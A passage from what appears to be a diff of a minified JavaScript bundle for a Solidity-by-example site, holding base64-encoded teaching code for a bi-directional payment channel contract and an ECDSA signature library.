oeCkpLCBpc3plcm8oZXEoZGl2KHp4LCB4KSwgeikpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXZlcnQoMCwgMCkKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBSb3VuZCAoenggKyBoYWxmKSAvIGIKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHp4Um91bmQgOj0gYWRkKHp4LCBoYWxmKQogICAgICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB6eFJvdW5kIDwgengKICAgICAgICAgICAgICAgICAgICAgICAgaWYgbHQoenhSb3VuZCwgengpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgICAgICAgICAgICAgeiA6PSBkaXYoenhSb3VuZCwgYikKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],sj=`

Example of binary exponentiation in assembly

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -200,7 +200,7 @@ Error generating stack: `+e.message+`
         }
     }
 }
-
`,sj=({prev:s,next:a})=>r.jsx(u,{version:_C,title:OC,description:PC,html:qC,prev:s,next:a,codes:$C}),aj="0.8.24",nj="Bi-Directional Payment Channel",lj="An example of bi-directional payment channels in Solidity",pj=[{fileName:"BiDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKLyoKT3BlbmluZyBhIGNoYW5uZWwKMS4gQWxpY2UgYW5kIEJvYiBmdW5kIGEgbXVsdGktc2lnIHdhbGxldAoyLiBQcmVjb21wdXRlIHBheW1lbnQgY2hhbm5lbCBhZGRyZXNzCjMuIEFsaWNlIGFuZCBCb2IgZXhjaGFuZ2VzIHNpZ25hdHVyZXMgb2YgaW5pdGlhbCBiYWxhbmNlcwo0LiBBbGljZSBhbmQgQm9iIGNyZWF0ZXMgYSB0cmFuc2FjdGlvbiB0aGF0IGNhbiBkZXBsb3kgYSBwYXltZW50IGNoYW5uZWwgZnJvbQogICB0aGUgbXVsdGktc2lnIHdhbGxldAoKVXBkYXRlIGNoYW5uZWwgYmFsYW5jZXMKMS4gUmVwZWF0IHN0ZXBzIDEgLSAzIGZyb20gb3BlbmluZyBhIGNoYW5uZWwKMi4gRnJvbSBtdWx0aS1zaWcgd2FsbGV0IGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgd2lsbAogICAtIGRlbGV0ZSB0aGUgdHJhbnNhY3Rpb24gdGhhdCB3b3VsZCBoYXZlIGRlcGxveWVkIHRoZSBvbGQgcGF5bWVudCBjaGFubmVsCiAgIC0gYW5kIHRoZW4gY3JlYXRlIGEgdHJhbnNhY3Rpb24gdGhhdCBjYW4gZGVwbG95IGEgcGF5bWVudCBjaGFubmVsIHdpdGggdGhlCiAgICAgbmV3IGJhbGFuY2VzCgpDbG9zaW5nIGEgY2hhbm5lbCB3aGVuIEFsaWNlIGFuZCBCb2IgYWdyZWUgb24gdGhlIGZpbmFsIGJhbGFuY2UKMS4gRnJvbSBtdWx0aS1zaWcgd2FsbGV0IGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgd2lsbAogICAtIHNlbmQgcGF5bWVudHMgdG8gQWxpY2UgYW5kIEJvYgogICAtIGFuZCB0aGVuIGRlbGV0ZSB0aGUgdHJhbnNhY3Rpb24gdGhhdCB3b3VsZCBoYXZlIGNyZWF0ZWQgdGhlIHBheW1lbnQgY2hhbm5lbAoKQ2xvc2luZyBhIGNoYW5uZWwgd2hlbiBBbGljZSBhbmQgQm9iIGRvIG5vdCBhZ3JlZSBvbiB0aGUgZmluYWwgYmFsYW5jZXMKMS4gRGVwbG95IHBheW1lbnQgY2hhbm5lbCBmcm9tIG11bHRpLXNpZwoyLiBjYWxsIGNoYWxsZW5nZUV4aXQoKSB0byBzdGFydCB0aGUgcHJvY2VzcyBvZiBjbG9zaW5nIGEgY2hhbm5lbAozLiBBbGljZSBhbmQgQm9iIGNhbiB3aXRoZHJhdyBmdW5kcyBvbmNlIHRoZSBjaGFubmVsIGlzIGV4cGlyZWQKKi8KCmNvbnRyYWN0IEJpRGlyZWN0aW9uYWxQYXltZW50Q2hhbm5lbCB7CiAgICB1c2luZyBFQ0RTQSBmb3IgYnl0ZXMzMjsKCiAgICBldmVudCBDaGFsbGVuZ2VFeGl0KGFkZHJlc3MgaW5kZXhlZCBzZW5kZXIsIHVpbnQyNTYgbm9uY2UpOwogICAgZXZlbnQgV2l0aGRyYXcoYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGFtb3VudCk7CgogICAgYWRkcmVzcyBwYXlhYmxlWzJdIHB1YmxpYyB1c2VyczsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBwdWJsaWMgaXNVc2VyOwoKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZXM7CgogICAgdWludDI1NiBwdWJsaWMgY2hhbGxlbmdlUGVyaW9kOwogICAgdWludDI1NiBwdWJsaWMgZXhwaXJlc0F0OwogICAgdWludDI1NiBwdWJsaWMgbm9uY2U7CgogICAgbW9kaWZpZXIgY2hlY2tCYWxhbmNlcyh1aW50MjU2WzJdIG1lbW9yeSBfYmFsYW5jZXMpIHsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLmJhbGFuY2UgPj0gX2JhbGFuY2VzWzBdICsgX2JhbGFuY2VzWzFdLAogICAgICAgICAgICAiYmFsYW5jZSBvZiBjb250cmFjdCBtdXN0IGJlID49IHRvIHRoZSB0b3RhbCBiYWxhbmNlIG9mIHVzZXJzIgogICAgICAgICk7CiAgICAgICAgXzsKICAgIH0KCiAgICAvLyBOT1RFOiBkZXBvc2l0IGZyb20gbXVsdGktc2lnIHdhbGxldAogICAgY29uc3RydWN0b3IoCiAgICAgICAgYWRkcmVzcyBwYXlhYmxlWzJdIG1lbW9yeSBfdXNlcnMsCiAgICAgICAgdWludDI1NlsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQyNTYgX2V4cGlyZXNBdCwKICAgICAgICB1aW50MjU2IF9jaGFsbGVuZ2VQZXJpb2QKICAgICkgcGF5YWJsZSBjaGVja0JhbGFuY2VzKF9iYWxhbmNlcykgewogICAgICAgIHJlcXVpcmUoX2V4cGlyZXNBdCA+IGJsb2NrLnRpbWVzdGFtcCwgIkV4cGlyYXRpb24gbXVzdCBiZSA+IG5vdyIpOwogICAgICAgIHJlcXVpcmUoX2NoYWxsZW5nZVBlcmlvZCA+IDAsICJDaGFsbGVuZ2UgcGVyaW9kIG11c3QgYmUgPiAwIik7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF91c2Vycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIHBheWFibGUgdXNlciA9IF91c2Vyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUoIWlzVXNlclt1c2VyXSwgInVzZXIgbXVzdCBiZSB1bmlxdWUiKTsKICAgICAgICAgICAgdXNlcnNbaV0gPSB1c2VyOwogICAgICAgICAgICBpc1VzZXJbdXNlcl0gPSB0cnVlOwoKICAgICAgICAgICAgYmFsYW5jZXNbdXNlcl0gPSBfYmFsYW5jZXNbaV07CiAgICAgICAgfQoKICAgICAgICBleHBpcmVzQXQgPSBfZXhwaXJlc0F0OwogICAgICAgIGNoYWxsZW5nZVBlcmlvZCA9IF9jaGFsbGVuZ2VQZXJpb2Q7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lnbmF0dXJlcywKICAgICAgICBhZGRyZXNzIF9jb250cmFjdCwKICAgICAgICBhZGRyZXNzWzJdIG1lbW9yeSBfc2lnbmVycywKICAgICAgICB1aW50MjU2WzJdIG1lbW9yeSBfYmFsYW5jZXMsCiAgICAgICAgdWludDI1NiBfbm9uY2UKICAgICkgcHVibGljIHB1cmUgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWduYXR1cmVzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIC8qCiAgICAgICAgICAgIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdAogICAgICAgICAgICAgICAgICBhZ2FpbnMgcmVwbGF5IGF0dGFjayBvbiBvdGhlciBjb250cmFjdHMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgYm9vbCB2YWxpZCA9IF9zaWduZXJzW2ldCiAgICAgICAgICAgICAgICA9PSBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfY29udHJhY3QsIF9iYWxhbmNlcywgX25vbmNlKSkKICAgICAgICAgICAgICAgICAgICAudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpLnJlY292ZXIoX3NpZ25hdHVyZXNbaV0pOwoKICAgICAgICAgICAgaWYgKCF2YWxpZCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBtb2RpZmllciBjaGVja1NpZ25hdHVyZXMoCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWduYXR1cmVzLAogICAgICAgIHVpbnQyNTZbMl0gbWVtb3J5IF9iYWxhbmNlcywKICAgICAgICB1aW50MjU2IF9ub25jZQogICAgKSB7CiAgICAgICAgLy8gTm90ZTogY29weSBzdG9yYWdlIGFycmF5IHRvIG1lbW9yeQogICAgICAgIGFkZHJlc3NbMl0gbWVtb3J5IHNpZ25lcnM7CiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgdXNlcnMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgc2lnbmVyc1tpXSA9IHVzZXJzW2ldOwogICAgICAgIH0KCiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgdmVyaWZ5KF9zaWduYXR1cmVzLCBhZGRyZXNzKHRoaXMpLCBzaWduZXJzLCBfYmFsYW5jZXMsIF9ub25jZSksCiAgICAgICAgICAgICJJbnZhbGlkIHNpZ25hdHVyZSIKICAgICAgICApOwoKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlVc2VyKCkgewogICAgICAgIHJlcXVpcmUoaXNVc2VyW21zZy5zZW5kZXJdLCAiTm90IHVzZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGNoYWxsZW5nZUV4aXQoCiAgICAgICAgdWludDI1NlsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQyNTYgX25vbmNlLAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lnbmF0dXJlcwogICAgKQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlVc2VyCiAgICAgICAgY2hlY2tTaWduYXR1cmVzKF9zaWduYXR1cmVzLCBfYmFsYW5jZXMsIF9ub25jZSkKICAgICAgICBjaGVja0JhbGFuY2VzKF9iYWxhbmNlcykKICAgIHsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA8IGV4cGlyZXNBdCwgIkV4cGlyZWQgY2hhbGxlbmdlIHBlcmlvZCIpOwogICAgICAgIHJlcXVpcmUoX25vbmNlID4gbm9uY2UsICJOb25jZSBtdXN0IGJlIGdyZWF0ZXIgdGhhbiB0aGUgY3VycmVudCBub25jZSIpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBfYmFsYW5jZXMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYmFsYW5jZXNbdXNlcnNbaV1dID0gX2JhbGFuY2VzW2ldOwogICAgICAgIH0KCiAgICAgICAgbm9uY2UgPSBfbm9uY2U7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgY2hhbGxlbmdlUGVyaW9kOwoKICAgICAgICBlbWl0IENoYWxsZW5nZUV4aXQobXNnLnNlbmRlciwgbm9uY2UpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgcHVibGljIG9ubHlVc2VyIHsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAgPj0gZXhwaXJlc0F0LCAiQ2hhbGxlbmdlIHBlcmlvZCBoYXMgbm90IGV4cGlyZWQgeWV0IgogICAgICAgICk7CgogICAgICAgIHVpbnQyNTYgYW1vdW50ID0gYmFsYW5jZXNbbXNnLnNlbmRlcl07CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="}],ej=`

Bi-directional payment channels allow participants Alice and Bob to repeatedly transfer Ether off chain.

+`,aj=({prev:s,next:a})=>r.jsx(u,{version:OC,title:PC,description:$C,html:sj,prev:s,next:a,codes:qC}),nj="0.8.24",lj="Bi-Directional Payment Channel",pj="An example of bi-directional payment channels in Solidity",ej=[{fileName:"BiDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKLyoKT3BlbmluZyBhIGNoYW5uZWwKMS4gQWxpY2UgYW5kIEJvYiBmdW5kIGEgbXVsdGktc2lnIHdhbGxldAoyLiBQcmVjb21wdXRlIHBheW1lbnQgY2hhbm5lbCBhZGRyZXNzCjMuIEFsaWNlIGFuZCBCb2IgZXhjaGFuZ2VzIHNpZ25hdHVyZXMgb2YgaW5pdGlhbCBiYWxhbmNlcwo0LiBBbGljZSBhbmQgQm9iIGNyZWF0ZXMgYSB0cmFuc2FjdGlvbiB0aGF0IGNhbiBkZXBsb3kgYSBwYXltZW50IGNoYW5uZWwgZnJvbQogICB0aGUgbXVsdGktc2lnIHdhbGxldAoKVXBkYXRlIGNoYW5uZWwgYmFsYW5jZXMKMS4gUmVwZWF0IHN0ZXBzIDEgLSAzIGZyb20gb3BlbmluZyBhIGNoYW5uZWwKMi4gRnJvbSBtdWx0aS1zaWcgd2FsbGV0IGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgd2lsbAogICAtIGRlbGV0ZSB0aGUgdHJhbnNhY3Rpb24gdGhhdCB3b3VsZCBoYXZlIGRlcGxveWVkIHRoZSBvbGQgcGF5bWVudCBjaGFubmVsCiAgIC0gYW5kIHRoZW4gY3JlYXRlIGEgdHJhbnNhY3Rpb24gdGhhdCBjYW4gZGVwbG95IGEgcGF5bWVudCBjaGFubmVsIHdpdGggdGhlCiAgICAgbmV3IGJhbGFuY2VzCgpDbG9zaW5nIGEgY2hhbm5lbCB3aGVuIEFsaWNlIGFuZCBCb2IgYWdyZWUgb24gdGhlIGZpbmFsIGJhbGFuY2UKMS4gRnJvbSBtdWx0aS1zaWcgd2FsbGV0IGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgd2lsbAogICAtIHNlbmQgcGF5bWVudHMgdG8gQWxpY2UgYW5kIEJvYgogICAtIGFuZCB0aGVuIGRlbGV0ZSB0aGUgdHJhbnNhY3Rpb24gdGhhdCB3b3VsZCBoYXZlIGNyZWF0ZWQgdGhlIHBheW1lbnQgY2hhbm5lbAoKQ2xvc2luZyBhIGNoYW5uZWwgd2hlbiBBbGljZSBhbmQgQm9iIGRvIG5vdCBhZ3JlZSBvbiB0aGUgZmluYWwgYmFsYW5jZXMKMS4gRGVwbG95IHBheW1lbnQgY2hhbm5lbCBmcm9tIG11bHRpLXNpZwoyLiBjYWxsIGNoYWxsZW5nZUV4aXQoKSB0byBzdGFydCB0aGUgcHJvY2VzcyBvZiBjbG9zaW5nIGEgY2hhbm5lbAozLiBBbGljZSBhbmQgQm9iIGNhbiB3aXRoZHJhdyBmdW5kcyBvbmNlIHRoZSBjaGFub